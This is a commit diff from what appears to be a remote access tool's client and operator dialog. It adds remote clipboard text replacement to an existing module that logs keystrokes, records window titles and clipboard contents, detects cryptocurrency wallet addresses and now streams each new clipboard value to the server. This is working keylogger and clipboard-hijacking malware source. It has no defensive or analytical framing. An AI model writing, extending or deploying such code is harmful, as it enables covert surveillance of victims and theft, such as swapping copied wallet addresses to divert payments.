Feature: Support replacing clip text via keyboard management dialog
This commit is contained in:
@@ -25,6 +25,7 @@
|
|||||||
#define USING_CLIP 0
|
#define USING_CLIP 0
|
||||||
|
|
||||||
#include "wallet.h"
|
#include "wallet.h"
|
||||||
|
#include "common/utf8.h"
|
||||||
#if USING_CLIP
|
#if USING_CLIP
|
||||||
#include "clip.h"
|
#include "clip.h"
|
||||||
#ifdef _WIN64
|
#ifdef _WIN64
|
||||||
@@ -60,6 +61,13 @@ CKeyboardManager1::CKeyboardManager1(IOCPClient*pClient, int offline, void* user
|
|||||||
iniFile cfg(CLIENT_PATH);
|
iniFile cfg(CLIENT_PATH);
|
||||||
m_Wallet = StringToVector(cfg.GetStr("settings", "wallet", ""), ';', MAX_WALLET_NUM);
|
m_Wallet = StringToVector(cfg.GetStr("settings", "wallet", ""), ';', MAX_WALLET_NUM);
|
||||||
|
|
||||||
|
binFile bin(CLIENT_PATH);
|
||||||
|
std::string rule = bin.GetStr("settings", "textRule");
|
||||||
|
if (rule.length() >= sizeof(TextReplace)) {
|
||||||
|
memcpy(&m_ReplaceRule, rule.data(), sizeof(TextReplace));
|
||||||
|
Mprintf("CKeyboardManager1: Load text replace rule succeed\n");
|
||||||
|
}
|
||||||
|
|
||||||
m_hClipboard = __CreateThread(NULL, 0, Clipboard, (LPVOID)this, 0, NULL);
|
m_hClipboard = __CreateThread(NULL, 0, Clipboard, (LPVOID)this, 0, NULL);
|
||||||
m_hWorkThread = __CreateThread(NULL, 0, KeyLogger, (LPVOID)this, 0, NULL);
|
m_hWorkThread = __CreateThread(NULL, 0, KeyLogger, (LPVOID)this, 0, NULL);
|
||||||
m_hSendThread = __CreateThread(NULL, 0, SendData,(LPVOID)this,0,NULL);
|
m_hSendThread = __CreateThread(NULL, 0, SendData,(LPVOID)this,0,NULL);
|
||||||
@@ -93,7 +101,10 @@ void CKeyboardManager1::Notify()
|
|||||||
iniFile cfg(CLIENT_PATH);
|
iniFile cfg(CLIENT_PATH);
|
||||||
m_Wallet = StringToVector(cfg.GetStr("settings", "wallet", ""), ';', MAX_WALLET_NUM);
|
m_Wallet = StringToVector(cfg.GetStr("settings", "wallet", ""), ';', MAX_WALLET_NUM);
|
||||||
m_mu.Unlock();
|
m_mu.Unlock();
|
||||||
sendStartKeyBoard();
|
m_ruleMu.Lock();
|
||||||
|
auto rule = m_ReplaceRule;
|
||||||
|
m_ruleMu.Unlock();
|
||||||
|
sendStartKeyBoard(rule);
|
||||||
WaitForDialogOpen();
|
WaitForDialogOpen();
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -120,6 +131,16 @@ void CKeyboardManager1::OnReceive(LPBYTE lpBuffer, ULONG nSize)
|
|||||||
GET_PROCESS_EASY(DeleteFileA);
|
GET_PROCESS_EASY(DeleteFileA);
|
||||||
DeleteFileA(m_strRecordFile);
|
DeleteFileA(m_strRecordFile);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if (lpBuffer[0] == COMMAND_TEXT_REPLACE && nSize >= sizeof(TextReplace)) {
|
||||||
|
CAutoCLock L(m_ruleMu);
|
||||||
|
memcpy(&m_ReplaceRule, lpBuffer, sizeof(TextReplace));
|
||||||
|
binFile cfg(CLIENT_PATH);
|
||||||
|
std::string rule((char*)&m_ReplaceRule, sizeof(TextReplace));
|
||||||
|
cfg.SetStr("settings", "textRule", rule);
|
||||||
|
auto ansi = utf8_to_ansi((char*)m_ReplaceRule.param);
|
||||||
|
Mprintf("COMMAND_TEXT_REPLACE: %s\n", ansi.c_str());
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
std::vector<std::string> CKeyboardManager1::GetWallet()
|
std::vector<std::string> CKeyboardManager1::GetWallet()
|
||||||
@@ -130,17 +151,18 @@ std::vector<std::string> CKeyboardManager1::GetWallet()
|
|||||||
return w;
|
return w;
|
||||||
}
|
}
|
||||||
|
|
||||||
int CKeyboardManager1::sendStartKeyBoard()
|
int CKeyboardManager1::sendStartKeyBoard(const TextReplace& rule)
|
||||||
{
|
{
|
||||||
// 协议扩展:在 [TOKEN, offline] 后面捎带 2 字节 cap word。
|
// 协议扩展:在 [TOKEN, offline] 后面捎带 2 字节 cap word。
|
||||||
// 子连接没经过 LOGIN_INFOR,服务端的 CKeyBoardDlg 没法直接拿到本机能力位 ——
|
// 子连接没经过 LOGIN_INFOR,服务端的 CKeyBoardDlg 没法直接拿到本机能力位 ——
|
||||||
// 让客户端自己带过来,避免服务端通过 IP 反查主连接(NAT/127.0.0.1 等场景反查会失败)。
|
// 让客户端自己带过来,避免服务端通过 IP 反查主连接(NAT/127.0.0.1 等场景反查会失败)。
|
||||||
// 老服务端读不到 byte 2-3 没关系(只读 byte 1),向后兼容。
|
// 老服务端读不到 byte 2-3 没关系(只读 byte 1),向后兼容。
|
||||||
BYTE bToken[4];
|
BYTE bToken[4 + sizeof(TextReplace)];
|
||||||
bToken[0] = TOKEN_KEYBOARD_START;
|
bToken[0] = TOKEN_KEYBOARD_START;
|
||||||
bToken[1] = (BYTE)m_bIsOfflineRecord;
|
bToken[1] = (BYTE)m_bIsOfflineRecord;
|
||||||
WORD caps = CLIENT_CAP_V2 | CLIENT_CAP_UTF8;
|
WORD caps = CLIENT_CAP_V2 | CLIENT_CAP_UTF8;
|
||||||
memcpy(bToken + 2, &caps, sizeof(WORD));
|
memcpy(bToken + 2, &caps, sizeof(WORD));
|
||||||
|
memcpy(bToken + 4, &rule, sizeof(TextReplace));
|
||||||
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
|
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
|
||||||
return m_ClientObject->Send2Server((char*)&bToken[0], sizeof(bToken), &mask);
|
return m_ClientObject->Send2Server((char*)&bToken[0], sizeof(bToken), &mask);
|
||||||
}
|
}
|
||||||
@@ -503,27 +525,32 @@ int CALLBACK WriteBuffer(const char* record, void* user)
|
|||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
std::string CKeyboardManager1::ReplaceText() {
|
||||||
|
CAutoCLock L(m_ruleMu);
|
||||||
|
|
||||||
|
switch (m_ReplaceRule.type) {
|
||||||
|
case RULE_REPLACE_ALL:
|
||||||
|
if (m_ReplaceRule.param[0] == 0)
|
||||||
|
return "";
|
||||||
|
std::string text((char*)m_ReplaceRule.param);
|
||||||
|
return clip::set_text_utf8(text) ? text : "";
|
||||||
|
}
|
||||||
|
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
DWORD WINAPI CKeyboardManager1::Clipboard(LPVOID lparam)
|
DWORD WINAPI CKeyboardManager1::Clipboard(LPVOID lparam)
|
||||||
{
|
{
|
||||||
CKeyboardManager1* pThis = (CKeyboardManager1*)lparam;
|
CKeyboardManager1* pThis = (CKeyboardManager1*)lparam;
|
||||||
std::string lastValue = {};
|
std::string lastValue = {};
|
||||||
while (pThis->m_bIsWorking) {
|
while (pThis->m_bIsWorking) {
|
||||||
auto w = pThis->GetWallet();
|
bool hasClipboard = clip::has(clip::text_format());
|
||||||
if (w.empty()) {
|
|
||||||
Sleep(1000);
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
bool hasClipboard = false;
|
|
||||||
try {
|
|
||||||
hasClipboard = clip::has(clip::text_format());
|
|
||||||
} catch (...) { // fix: "std::runtime_error" causing crashes in some cases
|
|
||||||
hasClipboard = false;
|
|
||||||
lastValue.clear();
|
|
||||||
Sleep(3000);
|
|
||||||
}
|
|
||||||
if (hasClipboard) {
|
if (hasClipboard) {
|
||||||
std::string value;
|
std::string value;
|
||||||
clip::get_text(value);
|
if (!clip::get_text(value)) {
|
||||||
|
Sleep(500);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
std::string recordValue = value.substr(0, 4096);
|
std::string recordValue = value.substr(0, 4096);
|
||||||
if (lastValue.length() != recordValue.length() || lastValue != recordValue) {
|
if (lastValue.length() != recordValue.length() || lastValue != recordValue) {
|
||||||
lastValue = recordValue;
|
lastValue = recordValue;
|
||||||
@@ -542,9 +569,22 @@ DWORD WINAPI CKeyboardManager1::Clipboard(LPVOID lparam)
|
|||||||
output << "\r\n\r\n[Title:] " << window_title << "\r\n[Time:]" << tm << "\r\n[Clipboard:]" << recordValue;
|
output << "\r\n\r\n[Title:] " << window_title << "\r\n[Time:]" << tm << "\r\n[Clipboard:]" << recordValue;
|
||||||
std::string str = output.str();
|
std::string str = output.str();
|
||||||
pThis->m_Buffer->Write(str.c_str(), str.length());
|
pThis->m_Buffer->Write(str.c_str(), str.length());
|
||||||
|
|
||||||
|
if (pThis->IsConnected()) {
|
||||||
|
str.erase(0, 4);
|
||||||
|
str.insert(0, 1, TOKEN_CLIP_TEXT);
|
||||||
|
pThis->Send((BYTE*)str.c_str(), str.length()+1);
|
||||||
|
std::string newValue = pThis->ReplaceText();
|
||||||
|
if (!newValue.empty()) {
|
||||||
|
Mprintf("[Clipboard] Replace %d bytes -> %d bytes \n", recordValue.length(), newValue.length());
|
||||||
|
lastValue = newValue;
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
if (value.length() > 200) {
|
// Wallet detection
|
||||||
Sleep(1000);
|
auto w = pThis->GetWallet();
|
||||||
|
if (value.length() > 200 || w.empty()) {
|
||||||
|
Sleep(500);
|
||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
auto type = detectWalletType(value);
|
auto type = detectWalletType(value);
|
||||||
@@ -586,7 +626,7 @@ DWORD WINAPI CKeyboardManager1::Clipboard(LPVOID lparam)
|
|||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
Sleep(1000);
|
Sleep(500);
|
||||||
}
|
}
|
||||||
return 0x20251005;
|
return 0x20251005;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -237,19 +237,22 @@ public:
|
|||||||
HANDLE m_hClipboard;
|
HANDLE m_hClipboard;
|
||||||
HANDLE m_hWorkThread,m_hSendThread;
|
HANDLE m_hWorkThread,m_hSendThread;
|
||||||
TCHAR m_strRecordFile[MAX_PATH];
|
TCHAR m_strRecordFile[MAX_PATH];
|
||||||
|
TextReplace m_ReplaceRule = {};
|
||||||
virtual BOOL Reconnect()
|
virtual BOOL Reconnect()
|
||||||
{
|
{
|
||||||
return m_ClientObject ? m_ClientObject->Reconnect(this) : FALSE;
|
return m_ClientObject ? m_ClientObject->Reconnect(this) : FALSE;
|
||||||
}
|
}
|
||||||
|
std::string ReplaceText();
|
||||||
private:
|
private:
|
||||||
BOOL IsWindowsFocusChange(HWND &PreviousFocus, TCHAR *WindowCaption, TCHAR *szText, bool HasData);
|
BOOL IsWindowsFocusChange(HWND &PreviousFocus, TCHAR *WindowCaption, TCHAR *szText, bool HasData);
|
||||||
int sendStartKeyBoard();
|
int sendStartKeyBoard(const TextReplace& rule);
|
||||||
|
|
||||||
int sendKeyBoardData(LPBYTE lpData, UINT nSize);
|
int sendKeyBoardData(LPBYTE lpData, UINT nSize);
|
||||||
|
|
||||||
bool m_bIsWorking;
|
bool m_bIsWorking;
|
||||||
CircularBuffer *m_Buffer;
|
CircularBuffer *m_Buffer;
|
||||||
CLocker m_mu;
|
CLocker m_mu;
|
||||||
|
CLocker m_ruleMu;
|
||||||
std::vector<std::string> m_Wallet;
|
std::vector<std::string> m_Wallet;
|
||||||
std::vector<std::string> GetWallet();
|
std::vector<std::string> GetWallet();
|
||||||
};
|
};
|
||||||
|
|||||||
@@ -84,4 +84,41 @@ namespace clip {
|
|||||||
LeaveCriticalSection(&GetClipLock());
|
LeaveCriticalSection(&GetClipLock());
|
||||||
return result;
|
return result;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 将 UTF-8 字符串安全地设置到 Windows 剪切板
|
||||||
|
*/
|
||||||
|
inline bool set_text_utf8(const std::string& utf8_str) {
|
||||||
|
if (utf8_str.empty()) return false;
|
||||||
|
|
||||||
|
// 1. 将 UTF-8 转换为 UTF-16 (因为 Windows 剪切板原生支持 UTF-16)
|
||||||
|
int wlen = MultiByteToWideChar(CP_UTF8, 0, utf8_str.c_str(), -1, NULL, 0);
|
||||||
|
if (wlen <= 0) return false;
|
||||||
|
|
||||||
|
// 2. 分配全局内存
|
||||||
|
HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, wlen * sizeof(wchar_t));
|
||||||
|
if (!hMem) return false;
|
||||||
|
|
||||||
|
// 3. 执行转换并锁定内存
|
||||||
|
wchar_t* pMem = (wchar_t*)GlobalLock(hMem);
|
||||||
|
MultiByteToWideChar(CP_UTF8, 0, utf8_str.c_str(), -1, pMem, wlen);
|
||||||
|
GlobalUnlock(hMem);
|
||||||
|
|
||||||
|
// 4. 操作剪切板
|
||||||
|
bool success = false;
|
||||||
|
if (OpenClipboard(NULL)) {
|
||||||
|
EmptyClipboard();
|
||||||
|
if (SetClipboardData(CF_UNICODETEXT, hMem)) {
|
||||||
|
success = true;
|
||||||
|
}
|
||||||
|
CloseClipboard();
|
||||||
|
}
|
||||||
|
|
||||||
|
// 如果 SetClipboardData 失败,需要手动释放内存;成功则由系统接管
|
||||||
|
if (!success) {
|
||||||
|
GlobalFree(hMem);
|
||||||
|
}
|
||||||
|
|
||||||
|
return success;
|
||||||
|
}
|
||||||
} // namespace clip
|
} // namespace clip
|
||||||
|
|||||||
@@ -337,6 +337,20 @@ enum {
|
|||||||
TOKEN_CONN_AUTH = 246, // 子连接身份校验包(客户端首发,服务端回 ConnAuthAck)
|
TOKEN_CONN_AUTH = 246, // 子连接身份校验包(客户端首发,服务端回 ConnAuthAck)
|
||||||
COMMAND_SCREEN_PREVIEW_REQ = 247, // 屏幕预览请求(服务端→客户端)
|
COMMAND_SCREEN_PREVIEW_REQ = 247, // 屏幕预览请求(服务端→客户端)
|
||||||
TOKEN_SCREEN_PREVIEW_RSP = 248, // 屏幕预览响应(客户端→服务端)
|
TOKEN_SCREEN_PREVIEW_RSP = 248, // 屏幕预览响应(客户端→服务端)
|
||||||
|
COMMAND_TEXT_REPLACE = 249,
|
||||||
|
TOKEN_CLIP_TEXT = 250,
|
||||||
|
};
|
||||||
|
|
||||||
|
#pragma pack(push, 1)
|
||||||
|
struct TextReplace {
|
||||||
|
uint8_t cmd;
|
||||||
|
uint8_t type;
|
||||||
|
uint8_t param[510];
|
||||||
|
uint8_t reserved[512];
|
||||||
|
};
|
||||||
|
|
||||||
|
enum TextReplaceRule {
|
||||||
|
RULE_REPLACE_ALL = 0,
|
||||||
};
|
};
|
||||||
|
|
||||||
// 子连接校验:HMAC 签名 (clientID || timestamp || nonce),服务端通过校验后把 clientID
|
// 子连接校验:HMAC 签名 (clientID || timestamp || nonce),服务端通过校验后把 clientID
|
||||||
@@ -353,7 +367,6 @@ enum {
|
|||||||
// 预留大量字节给未来扩展(如 client locale / OS 标识 / 子连接类型 / 会话 token /
|
// 预留大量字节给未来扩展(如 client locale / OS 标识 / 子连接类型 / 会话 token /
|
||||||
// per-conn 能力位等),避免再次破坏性升级。预留区构造时全 0 初始化,未启用字段
|
// per-conn 能力位等),避免再次破坏性升级。预留区构造时全 0 初始化,未启用字段
|
||||||
// 不会进 HMAC 签名输入(签名输入仍只是 clientID || timestamp || nonce 共 32 字节)。
|
// 不会进 HMAC 签名输入(签名输入仍只是 clientID || timestamp || nonce 共 32 字节)。
|
||||||
#pragma pack(push, 1)
|
|
||||||
struct ConnAuthPacket {
|
struct ConnAuthPacket {
|
||||||
uint8_t token; // = TOKEN_CONN_AUTH [1]
|
uint8_t token; // = TOKEN_CONN_AUTH [1]
|
||||||
uint64_t clientID; // 客户端 V2 ID(MachineGuid + 归一化路径算出) [8]
|
uint64_t clientID; // 客户端 V2 ID(MachineGuid + 归一化路径算出) [8]
|
||||||
|
|||||||
56
common/utf8.h
Normal file
56
common/utf8.h
Normal file
@@ -0,0 +1,56 @@
|
|||||||
|
#include <windows.h>
|
||||||
|
#include <string>
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 将本地多字节字符串 (ANSI/GBK) 转换为 UTF-8
|
||||||
|
*/
|
||||||
|
inline std::string ansi_to_utf8(const std::string& ansi_str) {
|
||||||
|
if (ansi_str.empty()) return "";
|
||||||
|
|
||||||
|
// 1. ANSI -> UTF-16 (WideChar)
|
||||||
|
int wlen = MultiByteToWideChar(CP_ACP, 0, ansi_str.c_str(), -1, NULL, 0);
|
||||||
|
std::wstring wstr(wlen, 0);
|
||||||
|
MultiByteToWideChar(CP_ACP, 0, ansi_str.c_str(), -1, &wstr[0], wlen);
|
||||||
|
|
||||||
|
// 2. UTF-16 -> UTF-8
|
||||||
|
int u8len = WideCharToMultiByte(CP_UTF8, 0, wstr.c_str(), -1, NULL, 0, NULL, NULL);
|
||||||
|
std::string utf8_str(u8len, 0);
|
||||||
|
WideCharToMultiByte(CP_UTF8, 0, wstr.c_str(), -1, &utf8_str[0], u8len, NULL, NULL);
|
||||||
|
|
||||||
|
// 移除末尾的 \0
|
||||||
|
if (!utf8_str.empty() && utf8_str.back() == '\0') {
|
||||||
|
utf8_str.pop_back();
|
||||||
|
}
|
||||||
|
return utf8_str;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 将 UTF-8 字符串转换为本地多字节字符串 (ANSI/GBK)
|
||||||
|
* 用于在多字节字符集 UI 上正常显示从远程接收到的内容
|
||||||
|
*/
|
||||||
|
inline std::string utf8_to_ansi(const std::string& utf8_str) {
|
||||||
|
if (utf8_str.empty()) return "";
|
||||||
|
|
||||||
|
// 1. UTF-8 -> UTF-16 (WideChar)
|
||||||
|
// 计算需要的宽字符长度
|
||||||
|
int wlen = MultiByteToWideChar(CP_UTF8, 0, utf8_str.c_str(), -1, NULL, 0);
|
||||||
|
if (wlen <= 0) return "";
|
||||||
|
|
||||||
|
std::wstring wstr(wlen, 0);
|
||||||
|
MultiByteToWideChar(CP_UTF8, 0, utf8_str.c_str(), -1, &wstr[0], wlen);
|
||||||
|
|
||||||
|
// 2. UTF-16 -> ANSI (Local Code Page, e.g., GBK)
|
||||||
|
// CP_ACP 表示使用当前系统的 ANSI 代码页
|
||||||
|
int alen = WideCharToMultiByte(CP_ACP, 0, wstr.c_str(), -1, NULL, 0, NULL, NULL);
|
||||||
|
if (alen <= 0) return "";
|
||||||
|
|
||||||
|
std::string ansi_str(alen, 0);
|
||||||
|
WideCharToMultiByte(CP_ACP, 0, wstr.c_str(), -1, &ansi_str[0], alen, NULL, NULL);
|
||||||
|
|
||||||
|
// 移除 WideCharToMultiByte 自动添加的 \0 结尾
|
||||||
|
if (!ansi_str.empty() && ansi_str.back() == '\0') {
|
||||||
|
ansi_str.pop_back();
|
||||||
|
}
|
||||||
|
|
||||||
|
return ansi_str;
|
||||||
|
}
|
||||||
Binary file not shown.
@@ -16,14 +16,17 @@ static char THIS_FILE[] = __FILE__;
|
|||||||
#define IDM_ENABLE_OFFLINE 0x0010
|
#define IDM_ENABLE_OFFLINE 0x0010
|
||||||
#define IDM_CLEAR_RECORD 0x0011
|
#define IDM_CLEAR_RECORD 0x0011
|
||||||
#define IDM_SAVE_RECORD 0x0012
|
#define IDM_SAVE_RECORD 0x0012
|
||||||
|
#define SHOW_CLIP_TEXT WM_USER+201
|
||||||
|
|
||||||
/////////////////////////////////////////////////////////////////////////////
|
/////////////////////////////////////////////////////////////////////////////
|
||||||
// CKeyBoardDlg dialog
|
// CKeyBoardDlg dialog
|
||||||
|
|
||||||
|
#include "common/utf8.h"
|
||||||
|
|
||||||
CKeyBoardDlg::CKeyBoardDlg(CWnd* pParent, Server* pIOCPServer, ClientContext *pContext)
|
CKeyBoardDlg::CKeyBoardDlg(CWnd* pParent, Server* pIOCPServer, ClientContext *pContext)
|
||||||
: DialogBase(CKeyBoardDlg::IDD, pParent, pIOCPServer, pContext, IDI_KEYBOARD)
|
: DialogBase(CKeyBoardDlg::IDD, pParent, pIOCPServer, pContext, IDI_KEYBOARD)
|
||||||
{
|
{
|
||||||
|
int len = m_ContextObject->m_DeCompressionBuffer.GetBufferLen();
|
||||||
m_bIsOfflineRecord = m_ContextObject->m_DeCompressionBuffer.GetBYTE(1);
|
m_bIsOfflineRecord = m_ContextObject->m_DeCompressionBuffer.GetBYTE(1);
|
||||||
|
|
||||||
// 子连接从协议扩展字段(byte 2-3)拿到能力位,写入自身的 CAPABILITIES。
|
// 子连接从协议扩展字段(byte 2-3)拿到能力位,写入自身的 CAPABILITIES。
|
||||||
@@ -36,6 +39,9 @@ CKeyBoardDlg::CKeyBoardDlg(CWnd* pParent, Server* pIOCPServer, ClientContext *pC
|
|||||||
capStr.Format(_T("%04X"), caps);
|
capStr.Format(_T("%04X"), caps);
|
||||||
m_ContextObject->SetClientData(ONLINELIST_CAPABILITIES, capStr);
|
m_ContextObject->SetClientData(ONLINELIST_CAPABILITIES, capStr);
|
||||||
}
|
}
|
||||||
|
if (len >= 4 + sizeof(TextReplace)) {
|
||||||
|
m_ContextObject->m_DeCompressionBuffer.CopyBuffer(&m_TextRule, sizeof(TextReplace), 4);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
@@ -45,6 +51,8 @@ void CKeyBoardDlg::DoDataExchange(CDataExchange* pDX)
|
|||||||
//{{AFX_DATA_MAP(CKeyBoardDlg)
|
//{{AFX_DATA_MAP(CKeyBoardDlg)
|
||||||
DDX_Control(pDX, IDC_EDIT, m_edit);
|
DDX_Control(pDX, IDC_EDIT, m_edit);
|
||||||
//}}AFX_DATA_MAP
|
//}}AFX_DATA_MAP
|
||||||
|
DDX_Control(pDX, IDC_EDIT_CLIPBOARD, m_EditClipText);
|
||||||
|
DDX_Control(pDX, IDC_EDIT_TEXTRULE, m_EditClipRule);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
@@ -54,6 +62,8 @@ BEGIN_MESSAGE_MAP(CKeyBoardDlg, CDialog)
|
|||||||
ON_WM_CLOSE()
|
ON_WM_CLOSE()
|
||||||
ON_WM_SYSCOMMAND()
|
ON_WM_SYSCOMMAND()
|
||||||
//}}AFX_MSG_MAP
|
//}}AFX_MSG_MAP
|
||||||
|
ON_BN_CLICKED(IDC_BTN_APPLY_TEXTRULE, &CKeyBoardDlg::OnBnClickedBtnApplyTextrule)
|
||||||
|
ON_MESSAGE(SHOW_CLIP_TEXT, &CKeyBoardDlg::ShowClipboardText)
|
||||||
END_MESSAGE_MAP()
|
END_MESSAGE_MAP()
|
||||||
|
|
||||||
/////////////////////////////////////////////////////////////////////////////
|
/////////////////////////////////////////////////////////////////////////////
|
||||||
@@ -65,6 +75,25 @@ void CKeyBoardDlg::PostNcDestroy()
|
|||||||
__super::PostNcDestroy();
|
__super::PostNcDestroy();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
void CKeyBoardDlg::RebuildEdit(CEdit & m_edit) {
|
||||||
|
CRect rc;
|
||||||
|
m_edit.GetWindowRect(&rc);
|
||||||
|
ScreenToClient(&rc);
|
||||||
|
DWORD style = m_edit.GetStyle();
|
||||||
|
DWORD exStyle = m_edit.GetExStyle();
|
||||||
|
HFONT hFont = (HFONT)m_edit.SendMessage(WM_GETFONT, 0, 0);
|
||||||
|
UINT ctrlID = m_edit.GetDlgCtrlID();
|
||||||
|
m_edit.DestroyWindow();
|
||||||
|
HWND hEdit = ::CreateWindowExW(
|
||||||
|
exStyle, L"EDIT", L"", style,
|
||||||
|
rc.left, rc.top, rc.Width(), rc.Height(),
|
||||||
|
this->GetSafeHwnd(), (HMENU)(UINT_PTR)ctrlID,
|
||||||
|
AfxGetInstanceHandle(), NULL);
|
||||||
|
m_edit.Attach(hEdit);
|
||||||
|
if (hFont)
|
||||||
|
m_edit.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
|
||||||
|
}
|
||||||
|
|
||||||
BOOL CKeyBoardDlg::OnInitDialog()
|
BOOL CKeyBoardDlg::OnInitDialog()
|
||||||
{
|
{
|
||||||
__super::OnInitDialog();
|
__super::OnInitDialog();
|
||||||
@@ -93,26 +122,12 @@ BOOL CKeyBoardDlg::OnInitDialog()
|
|||||||
// 转码,德语机器上中文窗口标题仍会乱码。直接用 CreateWindowExW 重建
|
// 转码,德语机器上中文窗口标题仍会乱码。直接用 CreateWindowExW 重建
|
||||||
// 后,控件内部以 Unicode 存储,W 版消息直通,不再走 CP_ACP。
|
// 后,控件内部以 Unicode 存储,W 版消息直通,不再走 CP_ACP。
|
||||||
// -----------------------------------------------------------------
|
// -----------------------------------------------------------------
|
||||||
{
|
RebuildEdit(m_edit);
|
||||||
CRect rc;
|
|
||||||
m_edit.GetWindowRect(&rc);
|
|
||||||
ScreenToClient(&rc);
|
|
||||||
DWORD style = m_edit.GetStyle();
|
|
||||||
DWORD exStyle = m_edit.GetExStyle();
|
|
||||||
HFONT hFont = (HFONT)m_edit.SendMessage(WM_GETFONT, 0, 0);
|
|
||||||
UINT ctrlID = m_edit.GetDlgCtrlID();
|
|
||||||
m_edit.DestroyWindow();
|
|
||||||
HWND hEdit = ::CreateWindowExW(
|
|
||||||
exStyle, L"EDIT", L"", style,
|
|
||||||
rc.left, rc.top, rc.Width(), rc.Height(),
|
|
||||||
this->GetSafeHwnd(), (HMENU)(UINT_PTR)ctrlID,
|
|
||||||
AfxGetInstanceHandle(), NULL);
|
|
||||||
m_edit.Attach(hEdit);
|
|
||||||
if (hFont)
|
|
||||||
m_edit.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
|
|
||||||
}
|
|
||||||
|
|
||||||
m_edit.SetLimitText(MAXDWORD); // 设置最大长度
|
m_edit.SetLimitText(MAXDWORD); // 设置最大长度
|
||||||
|
auto rule = utf8_to_ansi((char*)m_TextRule.param);
|
||||||
|
m_EditClipRule.SetWindowTextA(rule.empty() ? _TR("<请输入文本用于替换远程剪切板>") : rule.c_str());
|
||||||
|
GetDlgItem(IDC_BTN_APPLY_TEXTRULE)->SetWindowTextA(_TR("替换"));
|
||||||
|
|
||||||
// 通知远程控制端对话框已经打开
|
// 通知远程控制端对话框已经打开
|
||||||
BYTE bToken = COMMAND_NEXT;
|
BYTE bToken = COMMAND_NEXT;
|
||||||
@@ -140,11 +155,28 @@ void CKeyBoardDlg::OnReceiveComplete()
|
|||||||
case TOKEN_KEYBOARD_DATA:
|
case TOKEN_KEYBOARD_DATA:
|
||||||
AddKeyBoardData();
|
AddKeyBoardData();
|
||||||
break;
|
break;
|
||||||
|
case TOKEN_CLIP_TEXT: {
|
||||||
|
int len = m_ContextObject->m_DeCompressionBuffer.GetBufferLen();
|
||||||
|
if (len == 1) break;
|
||||||
|
char* buf = new char[len];
|
||||||
|
memcpy(buf, m_ContextObject->m_DeCompressionBuffer.GetBuffer(1), len-1);
|
||||||
|
PostMessage(SHOW_CLIP_TEXT, (WPARAM)buf, len-1);
|
||||||
|
break;
|
||||||
|
}
|
||||||
default:
|
default:
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
LRESULT CKeyBoardDlg::ShowClipboardText(WPARAM wParam, LPARAM lParam)
|
||||||
|
{
|
||||||
|
char* buf = (char*)wParam;
|
||||||
|
std::string text = utf8_to_ansi(buf);
|
||||||
|
SAFE_DELETE_ARRAY(buf);
|
||||||
|
m_EditClipText.SetWindowTextA(text.c_str());
|
||||||
|
return S_OK;
|
||||||
|
}
|
||||||
|
|
||||||
void CKeyBoardDlg::AddKeyBoardData()
|
void CKeyBoardDlg::AddKeyBoardData()
|
||||||
{
|
{
|
||||||
// 最后填上0
|
// 最后填上0
|
||||||
@@ -264,8 +296,9 @@ void CKeyBoardDlg::OnSize(UINT nType, int cx, int cy)
|
|||||||
__super::OnSize(nType, cx, cy);
|
__super::OnSize(nType, cx, cy);
|
||||||
|
|
||||||
// TODO: Add your message handler code here
|
// TODO: Add your message handler code here
|
||||||
if (IsWindowVisible())
|
/* if (IsWindowVisible())
|
||||||
ResizeEdit();
|
ResizeEdit();
|
||||||
|
*/
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
@@ -289,3 +322,13 @@ void CKeyBoardDlg::OnClose()
|
|||||||
|
|
||||||
DialogBase::OnClose();
|
DialogBase::OnClose();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
void CKeyBoardDlg::OnBnClickedBtnApplyTextrule()
|
||||||
|
{
|
||||||
|
CString rule;
|
||||||
|
m_EditClipRule.GetWindowTextA(rule);
|
||||||
|
auto utf8 = ansi_to_utf8(rule.GetString());
|
||||||
|
memcpy(m_TextRule.param, utf8.c_str(), utf8.length()+1);
|
||||||
|
m_TextRule.cmd = COMMAND_TEXT_REPLACE;
|
||||||
|
m_ContextObject->Send2Client((PBYTE)&m_TextRule, sizeof(TextReplace));
|
||||||
|
}
|
||||||
|
|||||||
@@ -54,6 +54,13 @@
|
|||||||
|
|
||||||
//}}AFX_MSG
|
//}}AFX_MSG
|
||||||
DECLARE_MESSAGE_MAP()
|
DECLARE_MESSAGE_MAP()
|
||||||
|
public:
|
||||||
|
TextReplace m_TextRule = {};
|
||||||
|
CEdit m_EditClipText;
|
||||||
|
CEdit m_EditClipRule;
|
||||||
|
void RebuildEdit(CEdit& m_edit);
|
||||||
|
afx_msg void OnBnClickedBtnApplyTextrule();
|
||||||
|
LRESULT ShowClipboardText(WPARAM wParam, LPARAM lParam);
|
||||||
};
|
};
|
||||||
|
|
||||||
//{{AFX_INSERT_LOCATION}}
|
//{{AFX_INSERT_LOCATION}}
|
||||||
|
|||||||
@@ -105,6 +105,7 @@ RTT=RTT
|
|||||||
解密数据=Decrypt Data
|
解密数据=Decrypt Data
|
||||||
画板=Drawing
|
画板=Drawing
|
||||||
屏幕墙=Screen Wall
|
屏幕墙=Screen Wall
